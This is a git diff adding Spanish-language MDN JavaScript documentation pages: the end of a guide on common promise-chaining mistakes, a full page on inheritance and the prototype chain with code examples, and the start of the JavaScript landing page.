+}).then(() =&gt; hacerUnaCuartaCosa());
+// Olvida terminar la cadena con un catch!</code></pre>
+
+<p>El primer error es no encadenar las acciones adecuadamente. Esto sucede cuando creamos una promesa y olvidamos devolverla. Como consecuencia, la cadena se rompe, o mejor dicho, tenemos dos cadenas independientes que compiten. Esto significa que <code>hacerUnaCuartaCosa()</code> no esperará a que finalicen <code>hacerOtraCosa()</code> o <code>hacerUnaTerceraCosa()</code>, y se ejecutará paralelamente a ellas. Las cadenas separadas también tienen un manejador de errores separado, lo que provoca errores no detectados.</p>
+
+<p>El segundo error es el anidamiento innecesario, que da lugar al primer error. La anidación también limita el alcance de los manejadores de errores internos, que - si no son deseados - pueden llevar a errores no detectados. Una variante de esto es el <a href="https://stackoverflow.com/questions/23803743/what-is-the-explicit-promise-construction-antipattern-and-how-do-i-avoid-it">constructor anti-patrón de promesas</a>, el cuál combina el anidamiento con el uso redundante del constructor de promesa para envolver el código que ya usa promesas. </p>
+
+<p>El tercer error es olvidar cerrar las cadenas con catch.Las cadenas de promesas no terminadas conducen a errores no capturados en la mayoría de los navegadores.</p>
+
+<p>Una buena regla es devolver o terminar siempre las cadenas de promesas, y tan pronto como obtenga una nueva promesa, devolverla de inmediato, para aplanar las cosas:</p>
+
+<pre><code>hacerAlgo()
+.then(function(resultado) {
+  return hacerOtraCosa(resultado);
+})
+.then(nuevoResultado =&gt; hacerUnaTerceraCosa(nuevoResultado))
+.then(() =&gt; hacerUnaCuartaCosa())
+.catch(error =&gt; console.log(error));</code></pre>
+
+<p>Nota que <code>() =&gt; x</code> es un atajo para <code>() =&gt; { return x; }</code>.</p>
+
+<p>Ahora tenemos una cadena determinística simple con un manejador de error adecuado.</p>
+
+<p>El uso de <a href="/en-US/docs/Web/JavaScript/Reference/Statements/async_function">async / await</a> aborda la mayoría, si no todos estos problemas, la desventaja es que el error más común con esa sintaxis es olvidar la palabra clave <a href="en-US/docs/Web/JavaScript/Reference/Statements/async_function">await</a>.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Promise.then()")}}</li>
+ <li><a href="http://promisesaplus.com/">Promises/A+ specification</a></li>
+ <li><a href="http://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Nolan Lawson: Tenemos un problema con las promesas — Errores comunes con las promesas</a></li>
+</ul>
diff --git a/files/es/web/javascript/herencia_y_la_cadena_de_protipos/index.html b/files/es/web/javascript/herencia_y_la_cadena_de_protipos/index.html
new file mode 100644
index 0000000000..f237f7c5fa
--- /dev/null
+++ b/files/es/web/javascript/herencia_y_la_cadena_de_protipos/index.html
@@ -0,0 +1,410 @@
+---
+title: Herencia y la cadena de prototipos
+slug: Web/JavaScript/Herencia_y_la_cadena_de_protipos
+tags:
+  - Herencia
+  - Intermedio
+  - JavaScript
+  - Programación orientada a objetos
+translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain
+---
+<div>{{jsSidebar("Advanced")}}</div>
+
+<p>JavaScript provoca cierta confusión en desarrolladores con experiencia en lenguajes basados en clases (como Java o C++), por ser dinámico y no proporcionar una implementación de clases en sí mismo (la palabra clave <code>class</code> se introdujo en ES2015, pero sólo para endulzar la sintaxis, ya que JavaScript sigue estando basado en prototipos).</p>
+
+<p>En lo que a herencia se refiere, JavaScript sólo tiene una estructura: objetos. Cada objeto tiene una propiedad privada (referida como su [[Prototype]]) que mantiene un enlace a otro objeto llamado su <strong>prototipo</strong>. Ese objeto prototipo tiene su propio prototipo, y así sucesivamente hasta que se alcanza un objeto cuyo prototipo es <code>null</code>. Por definición, <code>null</code> no tiene prototipo, y actúa como el enlace final de esta <strong>cadena de prototipos</strong>.</p>
+
+<p>Casi todos los objetos en JavaScript son instancias de {{jsxref("Object")}} que se sitúa a la cabeza de la cadena de prototipos.</p>
+
+<p>A pesar de que a menudo esto se considera como una de las principales debilidades de JavaScript, el modelo de herencia de prototipos es de hecho más potente que el modelo clásico. Por ejemplo, es bastante simple construir un modelo clásico a partir de un modelo de prototipos.</p>
+
+<h2 id="Herencia_con_la_cadena_de_prototipos">Herencia con la cadena de prototipos</h2>
+
+<h3 id="Heredando_propiedades">Heredando propiedades</h3>
+
+<p>Los objetos en JavaScript son "contenedores" dinámicos de propiedades (referidas como sus <strong>propiedades particulares</strong>).  Los objetos en JavaScript poseen un enlace a un objeto prototipo. Cuando intentamos acceder a una propiedad de un objeto, la propiedad no sólo se busca en el propio objeto sino también en el prototipo del objeto, en el prototipo del prototipo, y así sucesivamente hasta que se encuentre una propiedad que coincida con el nombre o se alcance el final de la cadena de prototipos.</p>
+
+<div class="note">
+<p>Siguiendo el estándar ECMAScript, la notación <code>algunObjeto.[[Prototype]]</code> se usa para designar el prototipo de <code>algunObjeto.</code> A partir de ECMAScript 2015, se accede al <code>[[Prototype]]</code> utilizando los accesores  {{jsxref("Object.getPrototypeOf()")}} y {{jsxref("Object.setPrototypeOf()")}}. Esto es equivalente a la propiedad JavaScript <code>__proto__</code> que no es estándar pero es el de-facto implementado por los navegadores.</p>
+
+<p>No debe confundirse con la propiedad de las funciones <code><em>func.</em>prototype</code>, que en cambio especifican el <code>[[Prototype]]</code> a asignar a todas las instancias de los objetos creados por la función dada cuando se utiliza como un constructor. La propiedad <code><strong>Object.prototype</strong></code> representa el prototipo del objeto {{jsxref("Object")}}.</p>
+</div>
+
+<p>Esto es lo que ocurre cuando intentamos acceder a una propiedad:</p>
+
+<pre class="brush: js">// <code>Supongamos que tenemos un objeto</code> o, con propiedades a y b:
+// {a: 1, b: 2}
+// o.[[Prototype]] tiene propiedades b y c:
+// {b: 3, c: 4}
+// Finalmente, o.[[Prototype]].[[Prototype]] es null.
+// Este es el final de la cadena de prototipos, ya que null,
+// por definición, no tiene [[Prototype]].
+// Por tanto, la cadena completa de prototipos se vería como:
+// {a:1, b:2} ---&gt; {b:3, c:4} ---&gt; null
+
+console.log(o.a); // 1
+// ¿Hay una propiedad 'a' en o? Sí, y su valor es 1.
+
+console.log(o.b); // 2
+// ¿Hay una propiedad 'b' en o? Sí, y su valor es 2.
+// El prototipo también tiene una propiedad 'b', pero no se ha visitado.
+// Esto se llama "solapamiento de propiedades"
+
+console.log(o.c); // 4
+// ¿Hay una propiedad 'c' en o? No, comprobamos su prototipo.
+// ¿Hay una propiedad 'c' en o.[[Prototype]]? Sí, y su valor es 4.
+
+console.log(o.d); // undefined
+// ¿Hay una propiedad 'd' en o? No, comprobamos su prototipo.
+//  ¿Hay una propiedad 'd' en o.[[Prototype]]? No, comprobamos su prototipo.
+// o.[[Prototype]].[[Prototype]] es null, paramos de buscar.
+// No se encontró la propiedad, se devuelve undefined
+</pre>
+
+<p>Dar valor a una propiedad de un objeto crea una propiedad. La única excepción a las reglas de funcionamiento de obtener y dar valores ocurre cuando hay una propiedad heredada con un <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters" title="Defining Getters and Setters">getter o un setter</a>.</p>
+
+<h3 id="Heredando_métodos">Heredando "métodos"</h3>
+
+<p>JavaScript no tiene "métodos" en la forma que los lenguajes basados en clases los define. En JavaScript, cualquier función puede añadirse a un objeto como una propiedad. Una función heredada se comporta como cualquier otra propiedad, viéndose afectada por el solapamiento de propiedades como se muestra anteriormente (siendo, en este caso, una especie de <em>redefinición de métodos</em>).</p>
+
+<p>Cuando una función heredada se ejecuta, el valor de <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this" title="this"><code>this</code></a> apunta al objeto que hereda, no al prototipo en el que la función es una propiedad.</p>
+
+<pre class="brush: js">var o = {
+  a: 2,
+  m: function(b){
+    return this.a + 1;
+  }
+};
+
+console.log(o.m()); // 3
+// Cuando en este caso se llama a o.m, 'this' se refiere a o
+
+var p = Object.create(o);
+// p es un objeto que hereda de o
+
+p.a = 12; // crea una propiedad 'a' en p
+console.log(p.m()); // 13
+// cuando se llama a p.m, 'this' se refiere a p.
+// De esta manera, cuando p hereda la función m de o,
+// 'this.a' significa p.a, la propiedad 'a' de p
+</pre>
+
+<h2 id="Usando_prototipos_en_JavaScript">Usando prototipos en JavaScript</h2>
+
+<p>Veamos lo que sucede detrás de escena detalladamente.</p>
+
+<p>En JavaScript, como se mencionó anteriormente, las funciones pueden tener propiedades. Todas las funciones tienen una propiedad especial llamada <code>prototype</code>. Por favor ten en cuenta que el siguiente código es autónomo (es seguro asumir que no hay otro JavaScript en la página web mas que el siguiente). Para la mejor experiencia de aprendizaje, es altamente recomendable que abras una consola (la cual, en Chrome y Firefox, se puede abrir presionando Ctrl+Shift+I), navegando hasta la pestaña "console", copiando y pegando el siguiente código JavaScript, y ejecutándolo presionando la tecla Enter/Return.</p>
+
+<pre class="brush: js line-numbers  language-js">function hacerAlgo(){}
+console.log( hacerAlgo.prototype );
+// No importa cómo declares la función, una
+// función en JavaScript siempre tendrá una
+// propiedad prototype predeterminada.
+var hacerAlgo = function(){};
+console.log( hacerAlgo.prototype );</pre>
+
+<p>Como acabamos de ver, <code>hacerAlgo()</code> tiene una propiedad <code>prototype</code> predeterminada, como lo demuestra la consola. Después de ejecutar este código, la consola debería haber mostrado un parecido a esto.</p>
+
+<pre class="brush: js line-numbers  language-js">{
+    constructor: ƒ hacerAlgo(),
+    __proto__: {
+        constructor: ƒ Object(),
+        hasOwnProperty: ƒ hasOwnProperty(),
+        isPrototypeOf: ƒ isPrototypeOf(),
+        propertyIsEnumerable: ƒ propertyIsEnumerable(),
+        toLocaleString: ƒ toLocaleString(),
+        toString: ƒ toString(),
+        valueOf: ƒ valueOf()
+    }
+}</pre>
+
+<p>Podemos añadir propiedades al prototipo de <code>hacerAlgo()</code>, como se muestra a continuación.</p>
+
+<pre class="brush: js line-numbers  language-js">function hacerAlgo(){}
+hacerAlgo.prototype.foo = "bar";
+console.log( hacerAlgo.prototype );</pre>
+
+<p>El resultado:</p>
+
+<pre>{
+    foo: "bar",
+    constructor: ƒ hacerAlgo(),
+    __proto__: {
+        constructor: ƒ Object(),
+        hasOwnProperty: ƒ hasOwnProperty(),
+        isPrototypeOf: ƒ isPrototypeOf(),
+        propertyIsEnumerable: ƒ propertyIsEnumerable(),
+        toLocaleString: ƒ toLocaleString(),
+        toString: ƒ toString(),
+        valueOf: ƒ valueOf()
+    }
+}</pre>
+
+<p>Ahora podemos usar el operador <code>new</code> para crear una instancia de <code>hacerAlgo()</code> basado en este prototipo. Para usar el operador <code>new</code>, llama la función normalmente pero añadiendo el prefijo <code>new</code>. Llamar a la función con el operador <code>new</code> devuelve un objeto que es una instancia de la función. Entonces las propiedades pueden ser añadidas a este objeto.</p>
+
+<p>Intenta el siguiente código:</p>
+
+<pre class="brush: js line-numbers  language-js">function hacerAlgo(){}
+hacerAlgo.prototype.foo = "bar"; // añadir una propiedad al prototipo
+var hacerUnaInstancia = new hacerAlgo();
+hacerUnaInstancia.prop = "un valor"; // añadir una propiedad al objeto
+console.log( hacerUnaInstancia );</pre>
+
+<p>El resultado es similar a lo siguiente:</p>
+
+<pre class="brush: js line-numbers  language-js">{
+    prop: "un valor",
+    __proto__: {
+        foo: "bar",
+        constructor: ƒ hacerAlgo(),
+        __proto__: {
+            constructor: ƒ Object(),
+            hasOwnProperty: ƒ hasOwnProperty(),
+            isPrototypeOf: ƒ isPrototypeOf(),
+            propertyIsEnumerable: ƒ propertyIsEnumerable(),
+            toLocaleString: ƒ toLocaleString(),
+            toString: ƒ toString(),
+            valueOf: ƒ valueOf()
+        }
+    }
+}</pre>
+
+<p>Como acabamos de ver, el <code>__proto__</code> de <code>hacerUnaInstancia</code> es <code>hacerAlgo.prototype</code>. Pero, ¿qué hace esto? Cuando accedes a la propiedad de <code>hacerUnaInstancia</code>, el navegador primero revisa si <code>hacerUnaInstancia</code> tiene esa propiedad.</p>
+
+<p>Si <code>hacerUnaInstancia</code> no tiene la propiedad, entonces el navegador busca por la propiedad en el <code>__proto__</code> de <code>hacerUnaInstancia</code> (también conocido como <code>hacerAlgo.prototype</code>). Si el <code>__proto__</code> de <code>hacerUnaInstancia</code> tiene la propiedad buscada, entonces la propiedad en el <code>__proto__</code> de <code>hacerUnaInstancia</code> es usada.</p>
+
+<p>De otra manera, si el <code>__proto__</code> de <code>hacerUnaInstancia</code> no tiene la propiedad, entonces el <code>__proto__</code> de <code>__proto__</code> de <code>hacerUnaInstancia</code> es revisado para la propiedad. Por defecto, el <code>__proto__</code> de la propieda <code>prototype</code> de cualquier función es  <code>window.Object.prototype</code>. Entonces, el <code>__proto__</code> de el <code>__proto__</code> de <code>hacerUnaInstancia</code> (conocido como el <code>__proto__</code> de <code>hacerAlgo.prototype</code> (conocido como <code>Object.prototype</code>)) es entonces revisado por la propiedad que se está buscando.</p>
+
+<p>Si la propiedad no es encontrada en el <code>__proto__</code> de el <code>__proto__</code> de <code>hacerUnaInstancia</code>, entonces el <code>__proto__</code> de el <code>__proto__</code> de el <code>__proto__</code> de <code>hacerUnaInstancia</code> es revisado. Sin embargo, hay un problema: el <code>__proto__</code> de el <code>__proto__</code> de el <code>__proto__</code> de el <code>__proto__</code> de <code>hacerUnaInstancia</code> no existe. Entonces y sólo entonces, despues de que toda la cadena de prototipos de <code>__proto__</code>'s es revisada, y no haya mas <code>__proto__</code>s el navegador afirma que la propiedad no existe y concluye que el valor de la propiedad es <code>undefined</code>.</p>
+
+<p>Vamos a intentar introduciendo más código en la consola:</p>
+
+<pre class="brush: js line-numbers  language-js">function hacerAlgo(){}
+hacerAlgo.prototype.foo = "bar";
+var hacerUnaInstancia = new hacerAlgo();
+hacerUnaInstancia.prop = "un valor";
+console.log("hacerUnaInstancia.prop:      " + hacerUnaInstancia.prop);
+console.log("hacerUnaInstancia.foo:       " + hacerUnaInstancia.foo);
+console.log("hacerAlgo.prop:           " + hacerAlgo.prop);
+console.log("hacerAlgo.foo:            " + hacerAlgo.foo);
+console.log("hacerAlgo.prototype.prop: " + hacerAlgo.prototype.prop);
+console.log("hacerAlgo.prototype.foo:  " + hacerAlgo.prototype.foo);</pre>
+
+<p>El resultado es el siguiente:</p>
+
+<pre class="brush: js line-numbers  language-js">hacerUnaInstancia.prop:      un valor
+hacerUnaInstancia.foo:       bar
+hacerAlgo.prop:              undefined
+hacerAlgo.foo:               undefined
+hacerAlgo.prototype.prop:    undefined
+hacerAlgo.prototype.foo:     bar</pre>
+
+<h2 id="Maneras_diferentes_de_crear_objetos_y_la_cadena_de_prototipos_resultante">Maneras diferentes de crear objetos y la cadena de prototipos resultante</h2>
+
+<h3 id="Objetos_creados_mediante_estructuras_sintácticas">Objetos creados mediante estructuras sintácticas</h3>
+
+<pre class="brush: js">var o = {a: 1};
+
+// El objeto recién creado o tiene Object.prototype como su [[Prototype]]
+// o no tiene ninguna propiedad llamada 'hasOwnProperty'
+// hasOwnProperty es una propiedad propia de Object.prototype.
+// Entonces o hereda hasOwnProperty de Object.prototype
+// Object.prototype es null como su prototype.
+// o ---&gt; Object.prototype ---&gt; null
+
+var a = ["yo", "whadup", "?"];
+
+// Arrays hereda de Array.prototype
+// (que tiene métodos como indexOf, forEach, etc.)
+// La cadena de prototipados sería:
+// a ---&gt; Array.prototype ---&gt; Object.prototype ---&gt; null
+
+function f(){
+  return 2;
+}
+
+// Las funciones heredan de Function.prototype
+// (que tiene métodos como call, bind, etc.)
+// f ---&gt; Function.prototype ---&gt; Object.prototype ---&gt; null
+</pre>
+
+<h3 id="Con_un_constructor">Con un constructor</h3>
+
+<p>Un "constructor" en JavaScript es "solo" una función que pasa a ser llamada con el <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new" title="new">operador new</a>.</p>
+
+<pre class="brush: js">function Graph() {
+  this.vertices = [];
+  this.edges = [];
+}
+
+Graph.prototype = {
+  addVertex: function(v){
+    this.vertices.push(v);
+  }
+};
+
+var g = new Graph();
+// g es un objeto con las propiedades 'vértices' y 'edges'.
+// g.[[Prototype]] es el valor de Graph.prototype cuando new Graph() es ejecutado.
+</pre>
+
+<h3 id="Con_Object.create">Con <code>Object.create</code></h3>
+
+<p>ECMAScript 5 Introdujo un nuevo método: {{jsxref("Object.create()")}}. Llamando este método creas un nuevo objeto. El prototype de este objeto es el primer argumento de la función:</p>
+
+<pre class="brush: js">var a = {a: 1};
+// a ---&gt; Object.prototype ---&gt; null
+
+var b = Object.create(a);
+// b ---&gt; a ---&gt; Object.prototype ---&gt; null
+console.log(b.a); // 1 (heredado)
+
+var c = Object.create(b);
+// c ---&gt; b ---&gt; a ---&gt; Object.prototype ---&gt; null
+
+var d = Object.create(null);
+// d ---&gt; null
+console.log(d.hasOwnProperty);
+// undefined, por que d no hereda de Object.prototype
+</pre>
+
+<div>
+<h3 id="Con_la_palabra_reservada_class">Con la palabra reservada <code>class</code></h3>
+
+<p>ECMAScript 2015 introduce un nuevo set de palabras reservadas que implementan <a href="/en-US/docs/Web/JavaScript/Reference/Classes">clases</a>. Aunque estos constructores lucen más familiares para los desarrolladores de lenguajes basados en clases, aun así no son clases. JavaScript sigue estando basado en prototipos. Los nuevos keywords incluyen {{jsxref("Statements/class", "class")}}, {{jsxref("Classes/constructor", "constructor")}}, {{jsxref("Classes/static", "static")}}, {{jsxref("Classes/extends", "extends")}}, and {{jsxref("Operators/super", "super")}}.</p>
+
+<pre class="brush: js">"use strict";
+
+class Polygon {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+}
+
+class Square extends Polygon {
+  constructor(sideLength) {
+    super(sideLength, sideLength);
+  }
+  get area() {
+    return this.height * this.width;
+  }
+  set sideLength(newLength) {
+    this.height = newLength;
+    this.width = newLength;
+  }
+}
+
+var square = new Square(2);
+</pre>
+
+<h3 id="Rendimiento">Rendimiento</h3>
+
+<p>El tiempo de búsqueda para las propiedades que están en lo alto de la cadena de prototipo puede tener un impacto negativo en el rendimiento, y esto puede ser significativo en el código donde el rendimiento es crítico. Además, tratar de acceder a las propiedades inexistentes siempre atravesara la cadena de prototipos completamente.</p>
+
+<p>También, cuando iteramos sobre las propiedades de un objeto, cada propiedad enumerable que se encuentra en la cadena de prototipo será enumerada.</p>
+
+<p>Para comprobar si un objeto tiene una propiedad definida en sí mismo y no en alguna parte de su cadena de prototipo, Es necesario usar para esto el método  <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty" title="/ru/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a> que todos los objetos heredan de<code> Object.prototype</code>.</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty" title="/ru/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a> es la única cosa en JavaScript que se ocupa de las propiedades y no atraviesa la cadena de prototipos.</p>
+
+<p>Nota: Esto <strong>no</strong> es suficiente para chequear si una propiedad esta <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a>. la propiedad podría existir, pero el valor justamente sucede que esta seteado como <code>undefined</code>.</p>
+</div>
+
+<h3 id="Malas_practicas_Extensión_de_prototipos_nativos">Malas practicas: Extensión de prototipos nativos</h3>
+
+<p>Una mala característica que a menudo se usa, es extender <code>Object.prototype</code> o uno de los otros pre-incorporados prototypes.</p>
+
+<p>Esta técnica se llama <em>monkey patching</em> y rompe la <em>encapsulación</em>. Si bien, es utilizado por librerías como <em>Prototype.js</em>, no hay una buena razón para saturar los tipos pre-incorporados con funcionalidades adicionales <em>no estándar</em>.</p>
+
+<p>La <strong>única</strong> buena razón para extender los pre-incorporados prototipos es modificar las funcionalidades nuevas de los motores de JavaScript; por ejemplo:</p>
+
+<p><code>Array.forEach</code>, etc.</p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<p><code>B</code> heredará de <code>A</code>:</p>
+
+<pre class="brush: js">function A(a){
+  this.varA = a;
+}
+
+// Cual es el propósito de incluir varA en el prototipo si A.prototype.varA <em>siempre</em> va a ser la sombra de
+// this.varA, dada la definición de la función A arriba?
+A.prototype = {
+  varA : null,  // No deberíamos atacar varA desde el prototipo como haciendo nada?
+      // Tal vez intentando una optimización al asignar espacios ocultos en las clases?
+      // https://developers.google.com/speed/articles/optimizing-javascript#Initializing instanciar variables
+      // podría ser válido si varA no fuera inicializado únicamente por cada instancia.
+  doSomething : function(){
+    // ...
+  }
+}
+
+function B(a, b){
+  A.call(this, a);
+  this.varB = b;
+}
+B.prototype = Object.create(A.prototype, {
+  varB : {
+    value: null,
+    enumerable: true,
+    configurable: true,
+    writable: true
+  },
+  doSomething : {
+    value: function(){ // override
+      A.prototype.doSomething.apply(this, arguments); // call super
+      // ...
+    },
+    enumerable: true,
+    configurable: true,
+    writable: true
+  }
+});
+B.prototype.constructor = B;
+
+var b = new B();
+b.doSomething();
+</pre>
+
+<p>Las partes importantes son:</p>
+
+<ul>
+ <li>Los tipos son definidos en <code>.prototype</code></li>
+ <li>Usar <code>Object.create()</code> para heredar</li>
+</ul>
+
+<h2 id="prototype_y_Object.getPrototypeOf"><code>prototype</code> y <code>Object.getPrototypeOf</code></h2>
+
+<p>JavaScript es un poco confuso para desarrolladores que vienen de lenguajes como Java o C++, ya que todo es dinámico, en todo momento de la ejecución, y no tiene clases en lo absoluto. Todo es solamente instancias (objetos). Incluso las "clases" que creamos, son solo funciones (objetos).</p>
+
+<p>Probablemente notaste que nuestra <code>función A</code> tiene una propiedad especial llamada <code>prototype</code>. Esta propiedad especial funciona con el operador de JavaScript <code>new</code>. La referencia al prototipo objeto es copiada al interno <code>[[Prototype]]</code> propiedad de la instancia <em>new</em>. Por ejemplo, cuando creas una variable <code>var a1 = new A()</code>, JavaScript (después de haber creado el objeto en memoria y antes de correr function <code>A()</code> con <code>this</code> definido a él) setea <code>a1.[[Prototype]] = A.prototype</code>. Cuando a continuación accedes a las propiedades de la instancia, JavaScript primero chequea si existen en el objeto directamente, y si no, mira en el <code>[[Prototype]]</code>. Esto significa que todo lo que definas en el <code>prototipo</code> es efectivamente compartido a todas las instancias, e incluso después puedes cambiar partes del <code>prototipo</code> y que todos los cambios se hagan en todas las instancias.</p>
+
+<p>Si, en el ejemplo de arriba, pones <code>var a1 = new A(); var a2 = new A();</code> entonces <code>a1.doSomething</code> se referiría a <code>Object.getPrototypeOf(a1).doSomething</code>, que seria lo mismo que <code>A.prototype.doSomething</code> que definiste, i.e. <code>Object.getPrototypeOf(a1).doSomething == Object.getPrototypeOf(a2).doSomething == A.prototype.doSomething</code>.</p>
+
+<p>resumiendo, <code>prototype</code> es para tipos, mientras que <code>Object.getPrototypeOf()</code> es lo mismo para instancias.</p>
+
+<p><code>[[Prototype]]</code> es visto como <em>recursivo</em>, i.e. <code>a1.doSomething</code>, <code>Object.getPrototypeOf(a1).doSomething</code>, <code>Object.getPrototypeOf(Object.getPrototypeOf(a1)).doSomething</code> etc., hasta que se encuentra o <code>Object.getPrototypeOf </code>retornará null.</p>
+
+<p>Entonces, cuando llamas</p>
+
+<pre class="brush: js">var o = new Foo();</pre>
+
+<p>JavaScript en realidad hace</p>
+
+<pre class="brush: js">var o = new Object();
+o.[[Prototype]] = Foo.prototype;
+Foo.call(o);</pre>
+
+<p>(o algo similar) y cuando después haces</p>
+
+<pre class="brush: js">o.someProp;</pre>
+
+<p>chequea si <code>o</code> tiene una propiedad <code>someProp</code>. Si no, busca en <code>Object.getPrototypeOf(o).someProp</code> y si ahí no existe, busca en <code>Object.getPrototypeOf(Object.getPrototypeOf(o)).someProp</code> y así sucesivamente.</p>
+
+<div>
+<h2 id="En_conclusión">En conclusión</h2>
+
+<p>Es <strong>esencial</strong> entender el modelo de prototipado por instancias antes de escribir código complejo que hace uso de esto. También, sé consciente del largo de la cadena de prototipado en tu código y romperlo si es necesario para evitar posibles problemas de rendimiento. Adicionalmente, el prototipo nativo <strong>nunca</strong> debería ser extendido a menos que esto sea por motivo de compatibilidad con nuevas versiones de JavaScript.</p>
+</div>
diff --git a/files/es/web/javascript/index.html b/files/es/web/javascript/index.html
new file mode 100644
index 0000000000..b5fdd92899
--- /dev/null
+++ b/files/es/web/javascript/index.html
@@ -0,0 +1,143 @@
+---
+title: JavaScript
+slug: Web/JavaScript
+tags:
+  - Aprender
+  - JavaScript
+  - 'l10n:priority'
+translation_of: Web/JavaScript
+---
+<div>{{JsSidebar}}</div>
+
+<p class="summary"><span class="seoSummary"><strong>JavaScript</strong> (<strong>JS</strong>) es un lenguaje de programación ligero, interpretado, o compilado <a href="https://en.wikipedia.org/wiki/Just-in-time_compilation">justo-a-tiempo</a> (just-in-time) con </span> <span class="seoSummary">{{Glossary("First-class Function", "funciones de primera clase")}}. Si bien es más conocido como un lenguaje de scripting (secuencias de comandos) para páginas web, y es usado en <a class="external external-icon" href="https://en.wikipedia.org/wiki/JavaScript#Uses_outside_Web_pages">muchos entornos fuera del navegador</a>, tal como {{Glossary("Node.js")}}, <a class="external external-icon" href="https://couchdb.apache.org/">Apache CouchDB</a> y <a class="external external-icon" href="http://www.adobe.com/devnet/acrobat/javascript.html">Adobe Acrobat</a>.</span> JavaScript es un lenguaje de {{Glossary ("Prototype-based programming", "programación basada en prototipos")}}, multiparadigma, de un solo hilo, dinámico, con soporte para programación orientada a objetos, imperativa y declarativa (por ejemplo programación funcional). Lee más en <a href="/es/docs/Web/JavaScript/About_JavaScript">acerca de JavaScript</a>.</p>
+
+<p class="summary">Esta sección está dedicada al lenguaje JavaScript en sí, y no a las partes que son específicas de las páginas web u otros entornos host. Para información acerca de {{Glossary("API","APIs")}} específicas para páginas Web, consulta <a href="/es/docs/Web/API">APIs Web</a> y {{Glossary("DOM")}}.</p>
+
+<p>El estándar para JavaScript es <a href="/es/docs/Web/JavaScript/Language_Resources">ECMAScript</a>. A partir del 2012, todos los <a href="https://kangax.github.io/compat-table/es5/">navegadores modernos</a> soportan completamente ECMAScript 5.1. Los navegadores viejos soportan al menos ECMAScript 3. Desde Junio 17, 2015, <a href="https://www.ecma-international.org">ECMA International</a> publico la sexta versión principal de ECMAScript, que oficialmente se llama ECMAScript 2015, y que inicialmente se denominó ECMAScript 6 o ES6. Desde entonces, los estándares ECMAScript están en ciclos de lanzamiento anuales. Esta documentación hace referencia a la última versión preliminar, que actualmente es <a href="https://tc39.github.io/ecma262/">ECMAScript 2020</a>.</p>
+
+<p>No confundas JavaScript con el <a href="https://en.wikipedia.org/wiki/Java_(programming_language)">lenguaje de programación Java</a>. Ambos "Java" y "JavaScript"  son marcas o marcas registradas de Oracle en los Estados Unidos y otros países, Sin embargo, los dos lenguajes de programación tienen sintaxis, semántica y usos muy diferentes.</p>
+
+<h3 id="Quieres_transformarte_en_un_desarrollador_web_front-end">Quieres transformarte en un desarrollador web front-end?</h3>
+
+<p>Hemos reunido un curso que incluye toda la información esencial que necesitas para trabajar hacia tu objetivo.</p>
+
+<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">Empieza aquí</a></p>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Tutoriales">Tutoriales</h2>
+
+<p>Aprende a programar en JavaScript con guías y tutoriales.</p>
+
+<h3 id="Para_completos_principiantes">Para completos principiantes</h3>
+
+<p>Dirígete a nuestro tema del <a href="/es/docs/Learn/JavaScript">Area de Aprendizaje JavaScript</a> si quieres aprender JavaScript pero no tienes experiencia previa de JavaScript o programación. Los módulos completos disponibles allí son los siguientes:</p>
+
+<dl>
+ <dt><a href="/es/docs/Learn/JavaScript/First_steps">Primeros pasos en JavaScript</a></dt>
+ <dd>Responde algunas preguntas fundamentales tales como "¿qué es JavaScript?", "¿cómo se ve?", y "¿qué puede hacer?", junto con la discusión de características clave de JavaScript, como variables, cadenas, números y matrices.</dd>
+ <dt><a href="/es/docs/Learn/JavaScript/Building_blocks">Bloques de construcción JavaScript</a></dt>
+ <dd>Continúa nuestra cobertura de las características fundamentales clave de JavaScript, dirigiendo nuestra atención a los tipos de bloques de código que se encuentran comúnmente, tales como declaraciones condicionales, bucles, funciones y eventos.</dd>
+ <dt><a href="/es/docs/Learn/JavaScript/Objects">Introducción a objetos JavaScript</a></dt>
+ <dd>Es importante comprender la naturaleza de la orientación a objetos en JavaScript si deseas ir más allá con tu conocimiento del lenguaje y la escritura de código más eficiente, por lo tanto, hemos proporcionado este módulo para ayudarte.</dd>
+ <dt><a href="/es/docs/Learn/JavaScript/Asynchronous">JavaScript asíncrono</a></dt>
+ <dd>Analiza el JavaScript asíncrono, por qué es importante y cómo se puede usar para manejar eficazmente las potenciales operaciones de bloqueo, tales como recuperar recursos de un servidor.</dd>
+ <dt><a href="/es/docs/Learn/JavaScript/Client-side_web_APIs">API web del lado del cliente</a></dt>
+ <dd>Explora qué son las APIs y cómo usar algunas de las APIs más comunes que encontrarás a menudo en tu trabajo de desarrollo.</dd>
+</dl>
+
+<h3 id="Guía_de_JavaScript">Guía de JavaScript</h3>
+
+<dl>
+ <dt><a href="/es/docs/Web/JavaScript/Guide">Guía de JavaScript</a></dt>
+ <dd>Una guía mucho más detallada del lenguaje JavaScript, dirigida a aquellos con experiencia previa en programación, ya sea en JavaScript u otro lenguaje.</dd>
+</dl>
+
+<h3 id="Intermedio">Intermedio</h3>
+
+<dl>
+ <dt><a href="/es/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks">Comprendiendo los frameworks JavaScript de lado del cliente </a></dt>
+ <dd>Los frameworks de JavaScript son una parte esencial del desarrollo web front-end moderno, ya que proporcionan a los desarrolladores herramientas probadas y comprobadas para crear aplicaciones web interactivas y escalables. Este módulo te brinda algunos conocimientos básicos sobre cómo funcionan los frameworks del lado del cliente y cómo encajan en tu conjunto de herramientas, antes de pasar a la serie de tutoriales que cubren algunos de los más populares en la actualidad.</dd>
